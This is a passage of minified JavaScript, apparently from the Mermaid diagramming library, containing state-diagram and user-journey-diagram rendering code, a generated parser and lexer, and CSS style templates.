y=p.append("tspan").attr("x",2*ge().state.padding).text(m);g||y.attr("dy",ge().state.textHeight)},"addTspan"),i=t.append("text").attr("x",2*ge().state.padding).attr("y",ge().state.textHeight+1.3*ge().state.padding).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.descriptions[0]).node().getBBox(),a=i.height,s=t.append("text").attr("x",ge().state.padding).attr("y",a+ge().state.padding*.4+ge().state.dividerMargin+ge().state.textHeight).attr("class","state-description"),l=!0,u=!0;e.descriptions.forEach(function(p){l||(r(s,p,u),u=!1),l=!1});let h=t.append("line").attr("x1",ge().state.padding).attr("y1",ge().state.padding+a+ge().state.dividerMargin/2).attr("y2",ge().state.padding+a+ge().state.dividerMargin/2).attr("class","descr-divider"),f=s.node().getBBox(),d=Math.max(f.width,i.width);return h.attr("x2",d+3*ge().state.padding),t.insert("rect",":first-child").attr("x",ge().state.padding).attr("y",ge().state.padding).attr("width",d+2*ge().state.padding).attr("height",f.height+a+2*ge().state.padding).attr("rx",ge().state.radius),t},"drawDescrState"),Lve=o((t,e,r)=>{let n=ge().state.padding,i=2*ge().state.padding,a=t.node().getBBox(),s=a.width,l=a.x,u=t.append("text").attr("x",0).attr("y",ge().state.titleShift).attr("font-size",ge().state.fontSize).attr("class","state-title").text(e.id),f=u.node().getBBox().width+i,d=Math.max(f,s);d===s&&(d=d+i);let p,m=t.node().getBBox();e.doc,p=l-n,f>s&&(p=(s-d)/2+n),Math.abs(l-m.x)s&&(p=l-(f-s)/2);let g=1-ge().state.textHeight;return t.insert("rect",":first-child").attr("x",p).attr("y",g).attr("class",r?"alt-composit":"composit").attr("width",d).attr("height",m.height+ge().state.textHeight+ge().state.titleShift+1).attr("rx","0"),u.attr("x",p+n),f<=s&&u.attr("x",l+(d-i)/2-f/2+n),t.insert("rect",":first-child").attr("x",p).attr("y",ge().state.titleShift-ge().state.textHeight-ge().state.padding).attr("width",d).attr("height",ge().state.textHeight*3).attr("rx",ge().state.radius),t.insert("rect",":first-child").attr("x",p).attr("y",ge().state.titleShift-ge().state.textHeight-ge().state.padding).attr("width",d).attr("height",m.height+3+2*ge().state.textHeight).attr("rx",ge().state.radius),t},"addTitleAndBox"),fet=o(t=>(t.append("circle").attr("class","end-state-outer").attr("r",ge().state.sizeUnit+ge().state.miniPadding).attr("cx",ge().state.padding+ge().state.sizeUnit+ge().state.miniPadding).attr("cy",ge().state.padding+ge().state.sizeUnit+ge().state.miniPadding),t.append("circle").attr("class","end-state-inner").attr("r",ge().state.sizeUnit).attr("cx",ge().state.padding+ge().state.sizeUnit+2).attr("cy",ge().state.padding+ge().state.sizeUnit+2)),"drawEndState"),det=o((t,e)=>{let r=ge().state.forkWidth,n=ge().state.forkHeight;if(e.parentId){let i=r;r=n,n=i}return t.append("rect").style("stroke","black").style("fill","black").attr("width",r).attr("height",n).attr("x",ge().state.padding).attr("y",ge().state.padding)},"drawForkJoinState"),pet=o((t,e,r,n)=>{let i=0,a=n.append("text");a.style("text-anchor","start"),a.attr("class","noteText");let s=t.replace(/\r\n/g,"
    ");s=s.replace(/\n/g,"
    ");let l=s.split(tt.lineBreakRegex),u=1.25*ge().state.noteMargin;for(let h of l){let f=h.trim();if(f.length>0){let d=a.append("tspan");if(d.text(f),u===0){let p=d.node().getBBox();u+=p.height}i+=u,d.attr("x",e+ge().state.noteMargin),d.attr("y",r+i+1.25*ge().state.noteMargin)}}return{textWidth:a.node().getBBox().width,textHeight:i}},"_drawLongText"),met=o((t,e)=>{e.attr("class","state-note");let r=e.append("rect").attr("x",0).attr("y",ge().state.padding),n=e.append("g"),{textWidth:i,textHeight:a}=pet(t,0,0,n);return r.attr("height",a+2*ge().state.noteMargin),r.attr("width",i+ge().state.noteMargin*2),r},"drawNote"),A$=o(function(t,e){let r=e.id,n={id:r,label:e.id,width:0,height:0},i=t.append("g").attr("id",r).attr("class","stateGroup");e.type==="start"&&oet(i),e.type==="end"&&fet(i),(e.type==="fork"||e.type==="join")&&det(i,e),e.type==="note"&&met(e.note.text,i),e.type==="divider"&&cet(i),e.type==="default"&&e.descriptions.length===0&&uet(i,e),e.type==="default"&&e.descriptions.length>0&&het(i,e);let a=i.node().getBBox();return n.width=a.width+2*ge().state.padding,n.height=a.height+2*ge().state.padding,n},"drawState"),Dve=0,Rve=o(function(t,e,r){let n=o(function(u){switch(u){case al.relationType.AGGREGATION:return"aggregation";case al.relationType.EXTENSION:return"extension";case al.relationType.COMPOSITION:return"composition";case al.relationType.DEPENDENCY:return"dependency"}},"getRelationType");e.points=e.points.filter(u=>!Number.isNaN(u.y));let i=e.points,a=Cl().x(function(u){return u.x}).y(function(u){return u.y}).curve(No),s=t.append("path").attr("d",a(i)).attr("id","edge"+Dve).attr("class","transition"),l="";if(ge().state.arrowMarkerAbsolute&&(l=md(!0)),s.attr("marker-end","url("+l+"#"+n(al.relationType.DEPENDENCY)+"End)"),r.title!==void 0){let u=t.append("g").attr("class","stateLabel"),{x:h,y:f}=qt.calcLabelPosition(e.points),d=tt.getRows(r.title),p=0,m=[],g=0,y=0;for(let b=0;b<=d.length;b++){let T=u.append("text").attr("text-anchor","middle").text(d[b]).attr("x",h).attr("y",f+p),S=T.node().getBBox();g=Math.max(g,S.width),y=Math.min(y,S.x),X.info(S.x,h,f+p),p===0&&(p=T.node().getBBox().height,X.info("Title height",p,f)),m.push(T)}let v=p*d.length;if(d.length>1){let b=(d.length-1)*p*.5;m.forEach((T,S)=>T.attr("y",f+S*p-b)),v=p*d.length}let x=u.node().getBBox();u.insert("rect",":first-child").attr("class","box").attr("x",h-g/2-ge().state.padding/2).attr("y",f-v/2-ge().state.padding/2-3.5).attr("width",g+ge().state.padding).attr("height",v+ge().state.padding),X.info(x)}Dve++},"drawEdge")});var bo,_$,get,yet,vet,xet,Mve,Ive,Ove=N(()=>{"use strict";yr();hN();qo();pt();gr();Nve();Xt();Ei();_$={},get=o(function(){},"setConf"),yet=o(function(t){t.append("defs").append("marker").attr("id","dependencyEnd").attr("refX",19).attr("refY",7).attr("markerWidth",20).attr("markerHeight",28).attr("orient","auto").append("path").attr("d","M 19,7 L9,13 L14,7 L9,1 Z")},"insertMarkers"),vet=o(function(t,e,r,n){bo=ge().state;let i=ge().securityLevel,a;i==="sandbox"&&(a=qe("#i"+e));let s=i==="sandbox"?qe(a.nodes()[0].contentDocument.body):qe("body"),l=i==="sandbox"?a.nodes()[0].contentDocument:document;X.debug("Rendering diagram "+t);let u=s.select(`[id='${e}']`);yet(u);let h=n.db.getRootDoc();Mve(h,u,void 0,!1,s,l,n);let f=bo.padding,d=u.node().getBBox(),p=d.width+f*2,m=d.height+f*2,g=p*1.75;mn(u,m,g,bo.useMaxWidth),u.attr("viewBox",`${d.x-bo.padding} ${d.y-bo.padding} `+p+" "+m)},"draw"),xet=o(t=>t?t.length*bo.fontSizeFactor:1,"getLabelWidth"),Mve=o((t,e,r,n,i,a,s)=>{let l=new cn({compound:!0,multigraph:!0}),u,h=!0;for(u=0;u{let w=S.parentElement,k=0,A=0;w&&(w.parentElement&&(k=w.parentElement.getBBox().width),A=parseInt(w.getAttribute("data-x-shift"),10),Number.isNaN(A)&&(A=0)),S.setAttribute("x1",0-A+8),S.setAttribute("x2",k-A-8)})):X.debug("No Node "+b+": "+JSON.stringify(l.node(b)))});let v=y.getBBox();l.edges().forEach(function(b){b!==void 0&&l.edge(b)!==void 0&&(X.debug("Edge "+b.v+" -> "+b.w+": "+JSON.stringify(l.edge(b))),Rve(e,l.edge(b),l.edge(b).relation))}),v=y.getBBox();let x={id:r||"root",label:r||"root",width:0,height:0};return x.width=v.width+2*bo.padding,x.height=v.height+2*bo.padding,X.debug("Doc rendered",x,l),x},"renderDoc"),Ive={setConf:get,draw:vet}});var Pve={};dr(Pve,{diagram:()=>bet});var bet,Bve=N(()=>{"use strict";h$();gC();C$();Ove();bet={parser:oC,get db(){return new al(1)},renderer:Ive,styles:yC,init:o(t=>{t.state||(t.state={}),t.state.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var zve={};dr(zve,{diagram:()=>Eet});var Eet,Gve=N(()=>{"use strict";h$();gC();C$();S$();Eet={parser:oC,get db(){return new al(2)},renderer:Sve,styles:yC,init:o(t=>{t.state||(t.state={}),t.state.arrowMarkerAbsolute=t.arrowMarkerAbsolute},"init")}});var D$,Hve,qve=N(()=>{"use strict";D$=(function(){var t=o(function(d,p,m,g){for(m=m||{},g=d.length;g--;m[d[g]]=p);return m},"o"),e=[6,8,10,11,12,14,16,17,18],r=[1,9],n=[1,10],i=[1,11],a=[1,12],s=[1,13],l=[1,14],u={trace:o(function(){},"trace"),yy:{},symbols_:{error:2,start:3,journey:4,document:5,EOF:6,line:7,SPACE:8,statement:9,NEWLINE:10,title:11,acc_title:12,acc_title_value:13,acc_descr:14,acc_descr_value:15,acc_descr_multiline_value:16,section:17,taskName:18,taskData:19,$accept:0,$end:1},terminals_:{2:"error",4:"journey",6:"EOF",8:"SPACE",10:"NEWLINE",11:"title",12:"acc_title",13:"acc_title_value",14:"acc_descr",15:"acc_descr_value",16:"acc_descr_multiline_value",17:"section",18:"taskName",19:"taskData"},productions_:[0,[3,3],[5,0],[5,2],[7,2],[7,1],[7,1],[7,1],[9,1],[9,2],[9,2],[9,1],[9,1],[9,2]],performAction:o(function(p,m,g,y,v,x,b){var T=x.length-1;switch(v){case 1:return x[T-1];case 2:this.$=[];break;case 3:x[T-1].push(x[T]),this.$=x[T-1];break;case 4:case 5:this.$=x[T];break;case 6:case 7:this.$=[];break;case 8:y.setDiagramTitle(x[T].substr(6)),this.$=x[T].substr(6);break;case 9:this.$=x[T].trim(),y.setAccTitle(this.$);break;case 10:case 11:this.$=x[T].trim(),y.setAccDescription(this.$);break;case 12:y.addSection(x[T].substr(8)),this.$=x[T].substr(8);break;case 13:y.addTask(x[T-1],x[T]),this.$="task";break}},"anonymous"),table:[{3:1,4:[1,2]},{1:[3]},t(e,[2,2],{5:3}),{6:[1,4],7:5,8:[1,6],9:7,10:[1,8],11:r,12:n,14:i,16:a,17:s,18:l},t(e,[2,7],{1:[2,1]}),t(e,[2,3]),{9:15,11:r,12:n,14:i,16:a,17:s,18:l},t(e,[2,5]),t(e,[2,6]),t(e,[2,8]),{13:[1,16]},{15:[1,17]},t(e,[2,11]),t(e,[2,12]),{19:[1,18]},t(e,[2,4]),t(e,[2,9]),t(e,[2,10]),t(e,[2,13])],defaultActions:{},parseError:o(function(p,m){if(m.recoverable)this.trace(p);else{var g=new Error(p);throw g.hash=m,g}},"parseError"),parse:o(function(p){var m=this,g=[0],y=[],v=[null],x=[],b=this.table,T="",S=0,w=0,k=0,A=2,C=1,R=x.slice.call(arguments,1),I=Object.create(this.lexer),L={yy:{}};for(var E in this.yy)Object.prototype.hasOwnProperty.call(this.yy,E)&&(L.yy[E]=this.yy[E]);I.setInput(p,L.yy),L.yy.lexer=I,L.yy.parser=this,typeof I.yylloc>"u"&&(I.yylloc={});var D=I.yylloc;x.push(D);var _=I.options&&I.options.ranges;typeof L.yy.parseError=="function"?this.parseError=L.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function O(re){g.length=g.length-2*re,v.length=v.length-re,x.length=x.length-re}o(O,"popStack");function M(){var re;return re=y.pop()||I.lex()||C,typeof re!="number"&&(re instanceof Array&&(y=re,re=y.pop()),re=m.symbols_[re]||re),re}o(M,"lex");for(var P,B,F,G,$,U,j={},te,Y,oe,J;;){if(F=g[g.length-1],this.defaultActions[F]?G=this.defaultActions[F]:((P===null||typeof P>"u")&&(P=M()),G=b[F]&&b[F][P]),typeof G>"u"||!G.length||!G[0]){var ue="";J=[];for(te in b[F])this.terminals_[te]&&te>A&&J.push("'"+this.terminals_[te]+"'");I.showPosition?ue="Parse error on line "+(S+1)+`: +`+I.showPosition()+` +Expecting `+J.join(", ")+", got '"+(this.terminals_[P]||P)+"'":ue="Parse error on line "+(S+1)+": Unexpected "+(P==C?"end of input":"'"+(this.terminals_[P]||P)+"'"),this.parseError(ue,{text:I.match,token:this.terminals_[P]||P,line:I.yylineno,loc:D,expected:J})}if(G[0]instanceof Array&&G.length>1)throw new Error("Parse Error: multiple actions possible at state: "+F+", token: "+P);switch(G[0]){case 1:g.push(P),v.push(I.yytext),x.push(I.yylloc),g.push(G[1]),P=null,B?(P=B,B=null):(w=I.yyleng,T=I.yytext,S=I.yylineno,D=I.yylloc,k>0&&k--);break;case 2:if(Y=this.productions_[G[1]][1],j.$=v[v.length-Y],j._$={first_line:x[x.length-(Y||1)].first_line,last_line:x[x.length-1].last_line,first_column:x[x.length-(Y||1)].first_column,last_column:x[x.length-1].last_column},_&&(j._$.range=[x[x.length-(Y||1)].range[0],x[x.length-1].range[1]]),U=this.performAction.apply(j,[T,w,S,L.yy,G[1],v,x].concat(R)),typeof U<"u")return U;Y&&(g=g.slice(0,-1*Y*2),v=v.slice(0,-1*Y),x=x.slice(0,-1*Y)),g.push(this.productions_[G[1]][0]),v.push(j.$),x.push(j._$),oe=b[g[g.length-2]][g[g.length-1]],g.push(oe);break;case 3:return!0}}return!0},"parse")},h=(function(){var d={EOF:1,parseError:o(function(m,g){if(this.yy.parser)this.yy.parser.parseError(m,g);else throw new Error(m)},"parseError"),setInput:o(function(p,m){return this.yy=m||this.yy||{},this._input=p,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var p=this._input[0];this.yytext+=p,this.yyleng++,this.offset++,this.match+=p,this.matched+=p;var m=p.match(/(?:\r\n?|\n).*/g);return m?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),p},"input"),unput:o(function(p){var m=p.length,g=p.split(/(?:\r\n?|\n)/g);this._input=p+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-m),this.offset-=m;var y=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),g.length-1&&(this.yylineno-=g.length-1);var v=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:g?(g.length===y.length?this.yylloc.first_column:0)+y[y.length-g.length].length-g[0].length:this.yylloc.first_column-m},this.options.ranges&&(this.yylloc.range=[v[0],v[0]+this.yyleng-m]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(p){this.unput(this.match.slice(p))},"less"),pastInput:o(function(){var p=this.matched.substr(0,this.matched.length-this.match.length);return(p.length>20?"...":"")+p.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var p=this.match;return p.length<20&&(p+=this._input.substr(0,20-p.length)),(p.substr(0,20)+(p.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var p=this.pastInput(),m=new Array(p.length+1).join("-");return p+this.upcomingInput()+` +`+m+"^"},"showPosition"),test_match:o(function(p,m){var g,y,v;if(this.options.backtrack_lexer&&(v={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(v.yylloc.range=this.yylloc.range.slice(0))),y=p[0].match(/(?:\r\n?|\n).*/g),y&&(this.yylineno+=y.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:y?y[y.length-1].length-y[y.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+p[0].length},this.yytext+=p[0],this.match+=p[0],this.matches=p,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(p[0].length),this.matched+=p[0],g=this.performAction.call(this,this.yy,this,m,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),g)return g;if(this._backtrack){for(var x in v)this[x]=v[x];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var p,m,g,y;this._more||(this.yytext="",this.match="");for(var v=this._currentRules(),x=0;xm[0].length)){if(m=g,y=x,this.options.backtrack_lexer){if(p=this.test_match(g,v[x]),p!==!1)return p;if(this._backtrack){m=!1;continue}else return!1}else if(!this.options.flex)break}return m?(p=this.test_match(m,v[y]),p!==!1?p:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var m=this.next();return m||this.lex()},"lex"),begin:o(function(m){this.conditionStack.push(m)},"begin"),popState:o(function(){var m=this.conditionStack.length-1;return m>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(m){return m=this.conditionStack.length-1-Math.abs(m||0),m>=0?this.conditionStack[m]:"INITIAL"},"topState"),pushState:o(function(m){this.begin(m)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{"case-insensitive":!0},performAction:o(function(m,g,y,v){var x=v;switch(y){case 0:break;case 1:break;case 2:return 10;case 3:break;case 4:break;case 5:return 4;case 6:return 11;case 7:return this.begin("acc_title"),12;break;case 8:return this.popState(),"acc_title_value";break;case 9:return this.begin("acc_descr"),14;break;case 10:return this.popState(),"acc_descr_value";break;case 11:this.begin("acc_descr_multiline");break;case 12:this.popState();break;case 13:return"acc_descr_multiline_value";case 14:return 17;case 15:return 18;case 16:return 19;case 17:return":";case 18:return 6;case 19:return"INVALID"}},"anonymous"),rules:[/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:journey\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:accTitle\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*:\s*)/i,/^(?:(?!\n||)*[^\n]*)/i,/^(?:accDescr\s*\{\s*)/i,/^(?:[\}])/i,/^(?:[^\}]*)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{acc_descr_multiline:{rules:[12,13],inclusive:!1},acc_descr:{rules:[10],inclusive:!1},acc_title:{rules:[8],inclusive:!1},INITIAL:{rules:[0,1,2,3,4,5,6,7,9,11,14,15,16,17,18,19],inclusive:!0}}};return d})();u.lexer=h;function f(){this.yy={}}return o(f,"Parser"),f.prototype=u,u.Parser=f,new f})();D$.parser=D$;Hve=D$});var cy,L$,S4,C4,Det,Let,Ret,Net,Met,Iet,Oet,Wve,Pet,R$,Yve=N(()=>{"use strict";Xt();ci();cy="",L$=[],S4=[],C4=[],Det=o(function(){L$.length=0,S4.length=0,cy="",C4.length=0,Sr()},"clear"),Let=o(function(t){cy=t,L$.push(t)},"addSection"),Ret=o(function(){return L$},"getSections"),Net=o(function(){let t=Wve(),e=100,r=0;for(;!t&&r{r.people&&t.push(...r.people)}),[...new Set(t)].sort()},"updateActors"),Iet=o(function(t,e){let r=e.substr(1).split(":"),n=0,i=[];r.length===1?(n=Number(r[0]),i=[]):(n=Number(r[0]),i=r[1].split(","));let a=i.map(l=>l.trim()),s={section:cy,type:cy,people:a,task:t,score:n};C4.push(s)},"addTask"),Oet=o(function(t){let e={section:cy,type:cy,description:t,task:t,classes:[]};S4.push(e)},"addTaskOrg"),Wve=o(function(){let t=o(function(r){return C4[r].processed},"compileTask"),e=!0;for(let[r,n]of C4.entries())t(r),e=e&&n.processed;return e},"compileTasks"),Pet=o(function(){return Met()},"getActors"),R$={getConfig:o(()=>ge().journey,"getConfig"),clear:Det,setDiagramTitle:$r,getDiagramTitle:Pr,setAccTitle:Rr,getAccTitle:Mr,setAccDescription:Ir,getAccDescription:Or,addSection:Let,getSections:Ret,getTasks:Net,addTask:Iet,addTaskOrg:Oet,getActors:Pet}});var Bet,Xve,jve=N(()=>{"use strict";yg();Bet=o(t=>`.label { + font-family: ${t.fontFamily}; + color: ${t.textColor}; + } + .mouth { + stroke: #666; + } + + line { + stroke: ${t.textColor} + } + + .legend { + fill: ${t.textColor}; + font-family: ${t.fontFamily}; + } + + .label text { + fill: #333; + } + .label { + color: ${t.textColor} + } + + .face { + ${t.faceColor?`fill: ${t.faceColor}`:"fill: #FFF8DC"}; + stroke: #999; + } + + .node rect, + .node circle, + .node ellipse, + .node polygon, + .node path { + fill: ${t.mainBkg}; + stroke: ${t.nodeBorder}; + stroke-width: 1px; + } + + .node .label { + text-align: center; + } + .node.clickable { + cursor: pointer; + } + + .arrowheadPath { + fill: ${t.arrowheadColor}; + } + + .edgePath .path { + stroke: ${t.lineColor}; + stroke-width: 1.5px; + } + + .flowchart-link { + stroke: ${t.lineColor}; + fill: none; + } + + .edgeLabel { + background-color: ${t.edgeLabelBackground}; + rect { + opacity: 0.5; + } + text-align: center; + } + + .cluster rect { + } + + .cluster text { + fill: ${t.titleColor}; + } + + div.mermaidTooltip { + position: absolute; + text-align: center; + max-width: 200px; + padding: 2px; + font-family: ${t.fontFamily}; + font-size: 12px; + background: ${t.tertiaryColor}; + border: 1px solid ${t.border2}; + border-radius: 2px; + pointer-events: none; + z-index: 100; + } + + .task-type-0, .section-type-0 { + ${t.fillType0?`fill: ${t.fillType0}`:""}; + } + .task-type-1, .section-type-1 { + ${t.fillType0?`fill: ${t.fillType1}`:""}; + } + .task-type-2, .section-type-2 { + ${t.fillType0?`fill: ${t.fillType2}`:""}; + } + .task-type-3, .section-type-3 { + ${t.fillType0?`fill: ${t.fillType3}`:""}; + } + .task-type-4, .section-type-4 { + ${t.fillType0?`fill: ${t.fillType4}`:""}; + } + .task-type-5, .section-type-5 { + ${t.fillType0?`fill: ${t.fillType5}`:""}; + } + .task-type-6, .section-type-6 { + ${t.fillType0?`fill: ${t.fillType6}`:""}; + } + .task-type-7, .section-type-7 { + ${t.fillType0?`fill: ${t.fillType7}`:""}; + } + + .actor-0 { + ${t.actor0?`fill: ${t.actor0}`:""}; + } + .actor-1 { + ${t.actor1?`fill: ${t.actor1}`:""}; + } + .actor-2 { + ${t.actor2?`fill: ${t.actor2}`:""}; + } + .actor-3 { + ${t.actor3?`fill: ${t.actor3}`:""}; + } + .actor-4 { + ${t.actor4?`fill: ${t.actor4}`:""}; + } + .actor-5 { + ${t.actor5?`fill: ${t.actor5}`:""}; + } + ${zc()} +`,"getStyles"),Xve=Bet});var N$,Fet,Qve,Zve,$et,zet,Kve,Get,Vet,Jve,Uet,uy,e2e=N(()=>{"use strict";yr();r2();N$=o(function(t,e){return Fd(t,e)},"drawRect"),Fet=o(function(t,e){let n=t.append("circle").attr("cx",e.cx).attr("cy",e.cy).attr("class","face").attr("r",15).attr("stroke-width",2).attr("overflow","visible"),i=t.append("g");i.append("circle").attr("cx",e.cx-15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666"),i.append("circle").attr("cx",e.cx+15/3).attr("cy",e.cy-15/3).attr("r",1.5).attr("stroke-width",2).attr("fill","#666").attr("stroke","#666");function a(u){let h=Sl().startAngle(Math.PI/2).endAngle(3*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+2)+")")}o(a,"smile");function s(u){let h=Sl().startAngle(3*Math.PI/2).endAngle(5*(Math.PI/2)).innerRadius(7.5).outerRadius(6.8181818181818175);u.append("path").attr("class","mouth").attr("d",h).attr("transform","translate("+e.cx+","+(e.cy+7)+")")}o(s,"sad");function l(u){u.append("line").attr("class","mouth").attr("stroke",2).attr("x1",e.cx-5).attr("y1",e.cy+7).attr("x2",e.cx+5).attr("y2",e.cy+7).attr("class","mouth").attr("stroke-width","1px").attr("stroke","#666")}return o(l,"ambivalent"),e.score>3?a(i):e.score<3?s(i):l(i),n},"drawFace"),Qve=o(function(t,e){let r=t.append("circle");return r.attr("cx",e.cx),r.attr("cy",e.cy),r.attr("class","actor-"+e.pos),r.attr("fill",e.fill),r.attr("stroke",e.stroke),r.attr("r",e.r),r.class!==void 0&&r.attr("class",r.class),e.title!==void 0&&r.append("title").text(e.title),r},"drawCircle"),Zve=o(function(t,e){return bj(t,e)},"drawText"),$et=o(function(t,e){function r(i,a,s,l,u){return i+","+a+" "+(i+s)+","+a+" "+(i+s)+","+(a+l-u)+" "+(i+s-u*1.2)+","+(a+l)+" "+i+","+(a+l)}o(r,"genPoints");let n=t.append("polygon");n.attr("points",r(e.x,e.y,50,20,7)),n.attr("class","labelBox"),e.y=e.y+e.labelMargin,e.x=e.x+.5*e.labelMargin,Zve(t,e)},"drawLabel"),zet=o(function(t,e,r){let n=t.append("g"),i=ua();i.x=e.x,i.y=e.y,i.fill=e.fill,i.width=r.width*e.taskCount+r.diagramMarginX*(e.taskCount-1),i.height=r.height,i.class="journey-section section-type-"+e.num,i.rx=3,i.ry=3,N$(n,i),Jve(r)(e.text,n,i.x,i.y,i.width,i.height,{class:"journey-section section-type-"+e.num},r,e.colour)},"drawSection"),Kve=-1,Get=o(function(t,e,r){let n=e.x+r.width/2,i=t.append("g");Kve++,i.append("line").attr("id","task"+Kve).attr("x1",n).attr("y1",e.y).attr("x2",n).attr("y2",450).attr("class","task-line").attr("stroke-width","1px").attr("stroke-dasharray","4 2").attr("stroke","#666"),Fet(i,{cx:n,cy:300+(5-e.score)*30,score:e.score});let s=ua();s.x=e.x,s.y=e.y,s.fill=e.fill,s.width=r.width,s.height=r.height,s.class="task task-type-"+e.num,s.rx=3,s.ry=3,N$(i,s);let l=e.x+14;e.people.forEach(u=>{let h=e.actors[u].color,f={cx:l,cy:e.y,r:7,fill:h,stroke:"#000",title:u,pos:e.actors[u].position};Qve(i,f),l+=10}),Jve(r)(e.task,i,s.x,s.y,s.width,s.height,{class:"task"},r,e.colour)},"drawTask"),Vet=o(function(t,e){sT(t,e)},"drawBackgroundRect"),Jve=(function(){function t(i,a,s,l,u,h,f,d){let p=a.append("text").attr("x",s+u/2).attr("y",l+h/2+5).style("font-color",d).style("text-anchor","middle").text(i);n(p,f)}o(t,"byText");function e(i,a,s,l,u,h,f,d,p){let{taskFontSize:m,taskFontFamily:g}=d,y=i.split(//gi);for(let v=0;v{let a=lh[i].color,s={cx:20,cy:n,r:7,fill:a,stroke:"#000",pos:lh[i].position};uy.drawCircle(t,s);let l=t.append("text").attr("visibility","hidden").text(i),u=l.node().getBoundingClientRect().width;l.remove();let h=[];if(u<=r)h=[i];else{let f=i.split(" "),d="";l=t.append("text").attr("visibility","hidden"),f.forEach(p=>{let m=d?`${d} ${p}`:p;if(l.text(m),l.node().getBoundingClientRect().width>r){if(d&&h.push(d),d=p,l.text(p),l.node().getBoundingClientRect().width>r){let y="";for(let v of p)y+=v,l.text(y+"-"),l.node().getBoundingClientRect().width>r&&(h.push(y.slice(0,-1)+"-"),y=v);d=y}}else d=m}),d&&h.push(d),l.remove()}h.forEach((f,d)=>{let p={x:40,y:n+7+d*20,fill:"#666",text:f,textMargin:e.boxTextMargin??5},g=uy.drawText(t,p).node().getBoundingClientRect().width;g>vC&&g>e.leftMargin-g&&(vC=g)}),n+=Math.max(20,h.length*20)})}var Het,lh,vC,Hl,Jf,Wet,sl,M$,t2e,Yet,I$,r2e=N(()=>{"use strict";yr();e2e();Xt();Ei();Het=o(function(t){Object.keys(t).forEach(function(r){Hl[r]=t[r]})},"setConf"),lh={},vC=0;o(qet,"drawActorLegend");Hl=ge().journey,Jf=0,Wet=o(function(t,e,r,n){let i=ge(),a=i.journey.titleColor,s=i.journey.titleFontSize,l=i.journey.titleFontFamily,u=i.securityLevel,h;u==="sandbox"&&(h=qe("#i"+e));let f=u==="sandbox"?qe(h.nodes()[0].contentDocument.body):qe("body");sl.init();let d=f.select("#"+e);uy.initGraphics(d);let p=n.db.getTasks(),m=n.db.getDiagramTitle(),g=n.db.getActors();for(let S in lh)delete lh[S];let y=0;g.forEach(S=>{lh[S]={color:Hl.actorColours[y%Hl.actorColours.length],position:y},y++}),qet(d),Jf=Hl.leftMargin+vC,sl.insert(0,0,Jf,Object.keys(lh).length*50),Yet(d,p,0);let v=sl.getBounds();m&&d.append("text").text(m).attr("x",Jf).attr("font-size",s).attr("font-weight","bold").attr("y",25).attr("fill",a).attr("font-family",l);let x=v.stopy-v.starty+2*Hl.diagramMarginY,b=Jf+v.stopx+2*Hl.diagramMarginX;mn(d,x,b,Hl.useMaxWidth),d.append("line").attr("x1",Jf).attr("y1",Hl.height*4).attr("x2",b-Jf-4).attr("y2",Hl.height*4).attr("stroke-width",4).attr("stroke","black").attr("marker-end","url(#arrowhead)");let T=m?70:0;d.attr("viewBox",`${v.startx} -25 ${b} ${x+T}`),d.attr("preserveAspectRatio","xMinYMin 